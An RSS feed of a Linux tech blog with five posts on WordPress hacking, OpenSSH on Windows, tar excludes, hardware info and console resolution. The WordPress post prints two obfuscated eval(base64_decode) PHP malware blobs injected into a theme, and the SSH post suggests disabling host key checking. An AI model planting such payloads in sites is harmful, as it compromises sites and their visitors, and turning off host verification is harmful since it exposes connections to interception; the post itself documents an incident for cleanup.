<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Techsoar &#187; Linux</title> <atom:link href="http://www.techsoar.com/category/linux/feed/" rel="self" type="application/rss+xml" /><link>http://www.techsoar.com</link> <description>Daily updated online technology blog</description> <lastBuildDate>Mon, 05 Dec 2011 03:19:43 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>WordPress gets hacked over and over with eval(base64_decode) code</title><link>http://www.techsoar.com/wordpress-gets-hacked-over-and-over-with-evalbase64_decode-code/</link> <comments>http://www.techsoar.com/wordpress-gets-hacked-over-and-over-with-evalbase64_decode-code/#comments</comments> <pubDate>Tue, 29 Nov 2011 22:45:48 +0000</pubDate> <dc:creator>admin</dc:creator> <category><![CDATA[Linux]]></category> <guid
isPermaLink="false">http://www.techsoar.com/?p=43684</guid> <description><![CDATA[My websites were getting hacked every 30 minutes or so and when I checked the source code, I kept finding these codes added (below). When I delved more into it, I found out the hackers were using a disabled theme on my blog called: Twenty Eleven 1.2 by the WordPress team Twenty Ten 1.2 by [...]]]></description> <content:encoded><![CDATA[<p>My websites were getting hacked every 30 minutes or so and when I checked the source code, I kept finding these codes added (below). When I delved more into it, I found out the hackers were using a disabled theme on my blog called:<br
/> Twenty Eleven 1.2 by the WordPress team<br
/> Twenty Ten 1.2 by the WordPress team</p><p>They were hitting to same file (index.php) over and over, although I had cleaned up all the other codes they had added, whatever they were sending to index.php was adding everything back to the websites. This attack would fly uncaught since they are adding iframe into the code which wouldn&#8217;t bother you or visitors if it is not interpreted right by your browser (blocked by addons etc.) but if you leave the hole open, they can query database &#8211; extract information, open other holes for themselves and pretty much anything a mutant would do.</p><p>Here is the solution.<br
/> <strong>If you are facing the same situation, you need to find POST logs in access.log. This command:</p><pre class="brush: bash; gutter: true; first-line: 1; highlight: []; html-script: false">#grep POST access.log</pre><p>would allow you to see where they are perpetrating and you need to remove those files.</strong></p><pre class="brush: shell; gutter: true; first-line: 1; highlight: []; html-script: false">
http/access.log:50.73.176.163 - - [29/Nov/2011:00:37:42 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 257
http/access.log:212.122.48.43 - - [29/Nov/2011:01:37:50 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 215
http/access.log:69.64.46.85 - - [29/Nov/2011:02:37:43 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.0" 200 215
http/access.log:79.98.242.246 - - [29/Nov/2011:03:10:09 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 215
http/access.log:64.90.52.173 - - [29/Nov/2011:03:40:33 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 178
http/access.log:122.248.194.9 - - [29/Nov/2011:04:40:48 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 342
http/access.log:50.57.155.37 - - [29/Nov/2011:06:40:59 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 215
http/access.log:189.17.169.186 - - [29/Nov/2011:07:41:50 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.0" 200 215
http/access.log:195.218.148.226 - - [29/Nov/2011:08:33:45 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 159
http/access.log:84.235.45.241 - - [29/Nov/2011:08:40:15 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.0" 200 215
http/access.log:174.142.19.205 - - [29/Nov/2011:09:39:52 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 220
http/access.log:119.75.23.81 - - [29/Nov/2011:10:39:53 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 257
http/access.log:85.13.72.233 - - [29/Nov/2011:11:39:38 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.0" 200 215
http/access.log:146.23.176.12 - - [29/Nov/2011:12:39:52 -0800] "POST /wp-content/themes/twentyeleven/index.php HTTP/1.1" 200 215</pre><pre class="brush: php; gutter: true; first-line: 1; highlight: []; html-script: false">eval(base64_decode
('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlk
ZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2
h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIu
Y29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycn
JyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdz
em4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2
lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wI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qSXdOek0zTkRjNU5tTTJOVE5rTWpJM01EWm1Oek0yT1
RjME5qazJaalpsTTJFeU1EWXhOakkzTXpabU5tTTNOVGMwTmpVellqSXdObU0yTlRZMk56UXpZVEl3TW1Rek1UTTVNemt6Tmpjd056Z3pZakl3TnpRMlpq
Y3dNMkV5TURKa016SXpPVE01TXpjM01EYzRNMkl5TWpObE0yTTJPVFkyTnpJMk1UWmtOalV5TURjM05qazJORGMwTmpnelpESXlNek16TURJeU1qQTJPRF
kxTmprMk56WTROelF6WkRJeU16UXpNREl5TWpBM016Y3lOak16WkRJeU5qZzNORGMwTnpBellUSm1NbVkyTVRjMU56TTNNamM0TnpZMk9UWXhNekUyTlRj
d05tUTJOREpsTmpNMk5USmxObVEzTXpKbU5qa3laVGN3TmpnM01ETm1OamMyWmpOa016RXlNak5sTTJNeVpqWTVOalkzTWpZeE5tUTJOVE5sTTJNeVpqWT
BOamszTmpObEp5NXpjR3hwZENnbmZDY3BMREFzZTMwcEtUd3ZjMk55YVhCMFBnPT0iKTsNCn0='));</pre><pre class="brush: php; gutter: true; first-line: 1; highlight: []; html-script: false">eval(base64_decode
('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlk
ZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2
h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIu
Y29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJyw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Z1ZEh4OGZHSXhObDlrYVdkcGRITjhZakUy
WDIxaGNIeGxibUZpYkdWa2ZFRnljbUY1ZkdOb1lYSkJkSHhzWlc1bmRHaDhibVYzZkh4OFptOXlmR3hzZkdOdmIydHBaWHhvUkdOa2ZISmxkSFZ5Ym54am
IyOXJhV1Y0ZkdaeWIyMURhR0Z5UTI5a1pYeG1kVzVqZEdsdmJueHRZWFJqYUh4VGRISnBibWQ4TVRWOFpqQjhNREV5TXpRMU5qYzRPV0ZpWTJSbFpud3lO
VFo4Wm1Gc2MyVjhhbTlwYm54emRXSnpkSEo4ZDNKcGRHVjhhVzVrWlhoUFpud3pZelkwTmprM05qSXdOek0zTkRjNU5tTTJOVE5rTWpJM01EWm1Oek0yT1
RjME5qazJaalpsTTJFeU1EWXhOakkzTXpabU5tTTNOVGMwTmpVellqSXdObU0yTlRZMk56UXpZVEl3TW1Rek1UTTVNemt6TVRjd056Z3pZakl3TnpRMlpq
Y3dNMkV5TURKa016SXpPVE01TXpNM01EYzRNMkl5TWpObE0yTTJPVFkyTnpJMk1UWmtOalV5TURjM05qazJORGMwTmpnelpESXlNelF6TURJeU1qQTJPRF
kxTmprMk56WTROelF6WkRJeU16TXpNREl5TWpBM016Y3lOak16WkRJeU5qZzNORGMwTnpBellUSm1NbVkyWmpaaU16VXpOalkzTnpBMlpUYzFNemt6T1Ra
bU1tVTJNelkxTW1VMlpEY3pNbVkyT1RKbE56QTJPRGN3TTJZMk56Wm1NMlF6TVRJeU0yVXpZekptTmprMk5qY3lOakUyWkRZMU0yVXpZekptTmpRMk9UYz
JNMlVuTG5Od2JHbDBLQ2Q4Snlrc01DeDdmU2twUEM5elkzSnBjSFErIik7DQp9'));'));</pre>]]></content:encoded> <wfw:commentRss>http://www.techsoar.com/wordpress-gets-hacked-over-and-over-with-evalbase64_decode-code/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>OpenSSH Windows Known_hosts Problem and SSH-Keygen work around</title><link>http://www.techsoar.com/openssh-windows-known_hosts-problem-and-ssh-keygen-work-around/</link> <comments>http://www.techsoar.com/openssh-windows-known_hosts-problem-and-ssh-keygen-work-around/#comments</comments> <pubDate>Mon, 10 Oct 2011 02:58:35 +0000</pubDate> <dc:creator>admin</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Windows]]></category> <guid
isPermaLink="false">http://www.techsoar.com/?p=43680</guid> <description><![CDATA[I have been trying to fix this error: Could not create directory &#8216;/home/xxx/.ssh&#8217;. The authenticity of host can&#8217;t be established. Failed to add the host to the list of known hosts (/home/xxx/.ssh/known_hosts) It is very annoying to type in Yes everytime trying to connect to a server so I decided to do some research but [...]]]></description> <content:encoded><![CDATA[<p>I have been trying to fix this error:</p><p>Could not create directory &#8216;/home/xxx/.ssh&#8217;.<br
/> The authenticity of host can&#8217;t be established.<br
/> Failed to add the host to the list of known hosts (/home/xxx/.ssh/known_hosts)</p><p>It is very annoying to type in Yes everytime trying to connect to a server so I decided to do some research but couldn&#8217;t find solution.</p><p>I found my solution this way:</p><p>-Create  a file in your hard drive (wherever you feel like), I have created mine under: c:\users\myusername\known_hosts (ex: c:\users\john\known_hosts)<br
/> -find ssh_config under OpenSSH\etc\ folder and add this line</p><blockquote><p>UserKnownHostsFile c:/users/john/known_hosts</p></blockquote><p> After you add this line, try to connect and you won&#8217;t have to type in &#8220;Yes&#8221; anymore. If you would like to disable known_hosts file check completely, you can also change this line:<br
/> StrictHostKeyChecking yes</p><p>to</p><blockquote><p>StrictHostKeyChecking no</p></blockquote><p> That will allow you avoid known_hosts from get go.</p><p>If you want to do public key authentication but you are not able to use ssh-keygen to create because you are getting:</p><blockquote><p>Generating public/private rsa key pair.<br
/> Enter file in which to save the key (/home/xxx/.ssh/id_rsa):<br
/> Could not create directory &#8216;/home/xxx/.ssh&#8217;.<br
/> Enter passphrase (empty for no passphrase):<br
/> Enter same passphrase again:<br
/> open /home/xxx/.ssh/id_rsa failed: No such file or directory.<br
/> Saving the key failed: /home/xxx/.ssh/id_rsa.</p></blockquote><p>You can run ssh-keygen uder c:\program files\openssh\bin\ folder  with this:</p><blockquote><p>ssh-keygen -t rsa -f id_rsa</p></blockquote><p>-f switch would allow you to add a filename. Once you create the public and private key (for this example: id_rsa and id_rsa.pub) go back to your c:\program files\openssh\etc\ssh_config file and remove # from<br
/> #IdentityFile ~/.ssh/id_rsa</p><p>and point it to your new file:</p><blockquote><p>IdentityFile c:/program files/openssh/bin/id_rsa</p></blockquote> ]]></content:encoded> <wfw:commentRss>http://www.techsoar.com/openssh-windows-known_hosts-problem-and-ssh-keygen-work-around/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>How to Tar &#8211;EXCLUDE directories</title><link>http://www.techsoar.com/how-to-tar-exclude-directories/</link> <comments>http://www.techsoar.com/how-to-tar-exclude-directories/#comments</comments> <pubDate>Sun, 12 Jul 2009 21:10:20 +0000</pubDate> <dc:creator>admin</dc:creator> <category><![CDATA[Linux]]></category> <guid
isPermaLink="false">http://www.techsoar.com/how-to-tar-exclude-directories/</guid> <description><![CDATA[I would like to transfer from one hosting (Mediatemple) to another (Resellerzoom) (both of them were doing superb job for 2 years btw) but I don&#8217;t want to transfer some of the old files. I tried most of tar &#8211;exclude combinations I could find on the forums but they did not work. One of them [...]]]></description> <content:encoded><![CDATA[<p>I would like to transfer from one hosting (<a
rel=nofollow target=_blank title="media temple" href="http://www.mediatemple.com">Mediatemple</a>) to another (<a
rel=nofollow target=_blank href="http://www.resellerzoom.com">Resellerzoom</a>) (both of them were doing superb job for 2 years btw) but I don&#8217;t want to transfer some of the old files. I tried most of tar &#8211;exclude combinations I could find on the forums but they did not work. One of them was an answer to a question &#8220;<a
rel=nofollow target=_blank href="http://www.linuxquestions.org/questions/linux-newbie-8/tar-excluding-directories-recursively-194476/?highlight=exclude+directories+recursively+tar"><strong>tar, excluding directories recursively &#8221; </strong></a> on linuxquestions.</p><p>I believe it was due to Mediatemple&#8217;s environment which strictly jails you under your account. I tried to exclude with full path initially but it kept getting all the files.</p><p>So I decided to use -v (verbose) argument to show the compressed files in the realtime. This way you can capture instantly if you are making a mistake or not. I was initially doing with:</p><p><code>tar -cvf techsoar.tgz --exclude <strong>"</strong>/full-path/phones/*<strong>"</strong> --exclude <strong>"</strong>/full-path/mobiles/*<strong>"</strong> ./</code></p><p>Which I realized using with &#8220;&#8221; was a mistake and furthermore not putting an &#8220;=&#8221; sign between &#8211;exclude=&#8230; was also wrong.</p><p>So finally I could get it working with this line:</p><p><code>tar -cvf techsoar.tgz --exclude=phones/* --exclude=mobiles/* ./</code></p> ]]></content:encoded> <wfw:commentRss>http://www.techsoar.com/how-to-tar-exclude-directories/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Getting Hardware Info on Linux</title><link>http://www.techsoar.com/getting-hardware-info-on-linux/</link> <comments>http://www.techsoar.com/getting-hardware-info-on-linux/#comments</comments> <pubDate>Thu, 19 Feb 2009 00:10:34 +0000</pubDate> <dc:creator>admin</dc:creator> <category><![CDATA[Linux]]></category> <guid
isPermaLink="false">http://www.techsoar.com/getting-hardware-info-on-linux/</guid> <description><![CDATA[When you are trying to get hardware details for Linux machines, it seems very challenging at first but you have variety options and it is quiet easy. Some includes using custom scripts and existing resource folders(ex: dmesg, /proc) or by some applications like hwinfo and lshw. In this article we will mention about different methods [...]]]></description> <content:encoded><![CDATA[<p>When you are trying to get hardware details for Linux machines, it seems very challenging at first but you have variety options and it is quiet easy. Some includes using custom scripts and existing resource folders(ex: dmesg, /proc) or by some applications like hwinfo and lshw.</p><p>In this article we will mention about different methods to get the hardware details from your Linux OS. These tips are mainly for Redhat, Suse and Debian and different distros might include little or more details for the hardware depending on the kernel levels.</p><p>1- <strong>Hardware Details on Linux using custom script</strong>:</p><p>This script will get almost everything you would need using existing messages or applications and give you a brief output.</p><p>It uses dmesg to get Memory Information<br
/> lspci for displaying information about all PCI buses in the system and all devices connected to them. By default, it shows a brief list of devices.<br
/> /proc/cpuinfo for CPU information (including cpu model, modelname (AMD Opteron(tm) Processor), Mhz (1992 Mhz)<br
/> fdisk -l   &#8211;&gt; For Hard drive and partition information<br
/> rpm -qa for the release info (mainly for Redhat) so you can remove this line for other distros.<br
/> /etc/*-release to get the Linux distro<br
/> uname -a to get the Linux Kernel level</p><pre></pre><pre>#!/usr/bin/sh
rm  /tmp/outputecho "/n PCI info /n" &gt;  /tmp/output
lspci &gt;&gt; /tmp/output
echo "/n Memory info /n" &gt;&gt;  /tmp/output /tmp/output
dmesg | grep -i memory &gt;&gt;  /tmp/output
echo "/n CPU info /n" &gt;&gt; /tmp/output
cat /proc/cpuinfo  /n" &gt;&gt;  /tmp/output
echo " HDD info /n" &gt;&gt;  /tmp/output
fdisk -l &gt;&gt;  /tmp/output
echo "/n " &gt;&gt;  /tmp/output
fdisk -l /dev/sdb* &gt;&gt; /tmp/output
echo "/n" &gt;&gt;  /tmp/output
fdisk -l /dev/hda* &gt;&gt; /tmp/output
echo "/n  Package info /n" &gt;&gt;  /tmp/output
rpm -qa &gt;&gt; /tmp/output
echo "/n Relese info /n" &gt;&gt; /tmp/output
cat /etc/*-release &gt;&gt; /tmp/output
echo "/n platform info /n" &gt;&gt; /tmp/output
uname -a &gt;&gt; /tmp/output</pre><p>2- <strong>Hardware Details on Linux using tools (hwinfo, lshw):</strong></p><p>There are different tools for different distros that you can use to get the hardware details.</p><p>On Suse, you can use: # <strong>hwinfo</strong></p><p>You could hwinfo for Debians (apt-get hwinfo) very quickly too. It is very handy.<br
/> # hwinfo &#8211;short   will give you a brief summary of your hardware</p><pre>
# hwinfo --short
cpu:
AMD Opteron(tm) Processor 246, 1992 MHz
AMD Opteron(tm) Processor 246, 1992 MHz
monitor:
Generic Monitor
graphics card:
ATI Rage XL
storage:
Floppy disk controller
AMD-8111 IDE
Silicon Image SiI 3114 SATALink Controller
network:
eth2                 Intel EtherExpress PRO/100 S Server Adapter
eth0                 Broadcom NetXtreme BCM5704 Gigabit Ethernet
eth1                 Broadcom NetXtreme BCM5704 Gigabit Ethernet
network interface:
lo                   Loopback network interface
eth0                 Ethernet network interface
eth1                 Ethernet network interface
eth2                 Ethernet network interface</pre><p>On Debian, you can use: # <strong>lshw</strong></p><p># <strong>lshw -short </strong>will generate a summary output of your hardware list in a organized fashion.</p><pre>
H/W path            Device      Class      Description
======================================================
system     PowerEdge 1950
/0                              bus        0TT740
/0/0                            memory     64KiB BIOS
/0/400                          processor  Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
/0/400/700                      memory     128KiB L1 cache
/0/400/701                      memory     12MiB L2 cache
/0/400/702                      memory     L3 cache
/0/401                          processor  Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
/0/401/703                      memory     128KiB L1 cache
/0/401/704                      memory     12MiB L2 cache
/0/401/705                      memory     L3 cache
/0/1000                         memory     8GiB System Memory</pre><p>3- <strong>Hardware Details on Linux using /proc folder</strong>:<br
/> You can get as many details as you like by just going under /proc folder and showing the contents of files. (# more meminfo)</p><pre># more meminfo
MemTotal:      8186420 kB
MemFree:         56572 kB
Buffers:        166008 kB
Cached:        4887080 kB
SwapCached:         12 kB
Active:        2886576 kB
Inactive:      4722968 kB
SwapTotal:     7807580 kB
SwapFree:      7807548 kB
Dirty:             220 kB
Writeback:           0 kB
AnonPages:     2556436 kB
Mapped:          35064 kB
Slab:           453328 kB
SReclaimable:   422408 kB
SUnreclaim:      30920 kB
PageTables:      11848 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:  11900788 kB
Committed_AS:  4229312 kB
VmallocTotal: 34359738367 kB
VmallocUsed:     27880 kB
VmallocChunk: 34359710403 kB
HugePages_Total:     0
HugePages_Free:      0
HugePages_Rsvd:      0
HugePages_Surp:      0
Hugepagesize:     2048 kB</pre><p>4- <strong>Listing DMI Table with dmidecode</strong> and <strong>USB devices with lsusb</strong>:</p><p>Another very effective and powerful tool is # dmidecode. <em>dmidecode  is a tool for dumping a computers DMI (some say SMBIOS) table contents in a human-readable format. This table contains a description of the systems hardware components, as well as other useful pieces of information such as  serial numbers and BIOS revision.<br
/> </em></p><p># lsusb  is the tool to show the devices attached to USB port even more.</p><p>if you use only # lsusb   it will list the ports and what&#8217;s attached to it. If you use, lsusb with -v (verbose) you will get tons of info about USB ports.</p><pre>
# lsusb -v
Bus 002 Device 001: ID 0000:0000
Device Descriptor:
bLength                18
bDescriptorType         1
bcdUSB               1.10
bDeviceClass            9 Hub
bDeviceSubClass         0 Unused
bDeviceProtocol         0 Full speed hub
bMaxPacketSize0        64
idVendor           0x0000
idProduct          0x0000
bcdDevice            2.06
iManufacturer           3 Linux 2.6.18.2-34-default ohci_hcd
iProduct                2 OHCI Host Controller
iSerial                 1 0000:03:00.1
bNumConfigurations      1
Configuration Descriptor:
bLength                 9
bDescriptorType         2
wTotalLength           25
bNumInterfaces          1
bConfigurationValue     1
iConfiguration          0
bmAttributes         0xe0
Self Powered
Remote Wakeup
MaxPower                0mA
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        0
bAlternateSetting       0
bNumEndpoints           1
bInterfaceClass         9 Hub
bInterfaceSubClass      0 Unused
bInterfaceProtocol      0 Full speed hub
iInterface              0
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x81  EP 1 IN
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0002  1x 2 bytes
bInterval             255
</pre>]]></content:encoded> <wfw:commentRss>http://www.techsoar.com/getting-hardware-info-on-linux/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Console (TTY) Resolution on Ubuntu Linux boxes</title><link>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/</link> <comments>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/#comments</comments> <pubDate>Mon, 09 Feb 2009 22:34:12 +0000</pubDate> <dc:creator>admin</dc:creator> <category><![CDATA[Linux]]></category> <guid
isPermaLink="false">http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/</guid> <description><![CDATA[Ubuntu installations come with 640 x 480 default config on console or TTY (Teleprinter/Teletype/Teletypewriter). To change that config to something readable: - You need to edit /boot/grub/menu.lst - To the end there are lines: title Ubuntu 8.04.2, kernel 2.6.24-23 server …. …. kernel /vmlinuz-2.6.24-23… at the end of kernel /vmlinuz line we need to a [...]]]></description> <content:encoded><![CDATA[<p>Ubuntu installations come with 640 x 480 default config on console or TTY (Teleprinter/Teletype/Teletypewriter). To change that config to something readable:</p><p>- You need to edit <strong>/boot/grub/menu.lst<br
/> </strong>- To the end there are lines:<br
/> title Ubuntu 8.04.2, kernel 2.6.24-23 server<br
/> ….<br
/> ….<br
/> kernel /vmlinuz-2.6.24-23…</p><p>at the end of kernel /vmlinuz line we need to a new argument &#8216;vga&#8217;.</p><p>I mostly use vga=791</p><p>then update grub using:</p><p># update-grub</p><p>and reboot.</p><table
border="1"><tr><td><p
class="line862">Color Depth</p></td><td><p
class="line862">640×480</p></td><td><p
class="line862">800×600</p></td><td><p
class="line862">1024×768</p></td><td><p
class="line862">1280×1024</p></td></tr><tr><td><span
id="line-113" class="anchor"></span></p><p
class="line862">8 (256)</p></td><td><p
class="line862">769</p></td><td><p
class="line862">771</p></td><td><p
class="line862">773</p></td><td><p
class="line862">775</p></td></tr><tr><td><span
id="line-114" class="anchor"></span></p><p
class="line862">15 (32K)</p></td><td><p
class="line862">784</p></td><td><p
class="line862">787</p></td><td><p
class="line862">790</p></td><td><p
class="line862">793</p></td></tr><tr><td><span
id="line-115" class="anchor"></span></p><p
class="line862">16 (65K)</p></td><td><p
class="line862">785</p></td><td><p
class="line862">788</p></td><td><p
class="line862">791</p></td><td><p
class="line862">794</p></td></tr><tr><td><span
id="line-116" class="anchor"></span></p><p
class="line862">24 (16M)</p></td><td><p
class="line862">786</p></td><td><p
class="line862">789</p></td><td><p
class="line862">792</p></td><td><p
class="line862">795</p></td></tr></table><p></p> ]]></content:encoded> <wfw:commentRss>http://www.techsoar.com/console-tty-resolution-on-ubuntu-linux-boxes/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
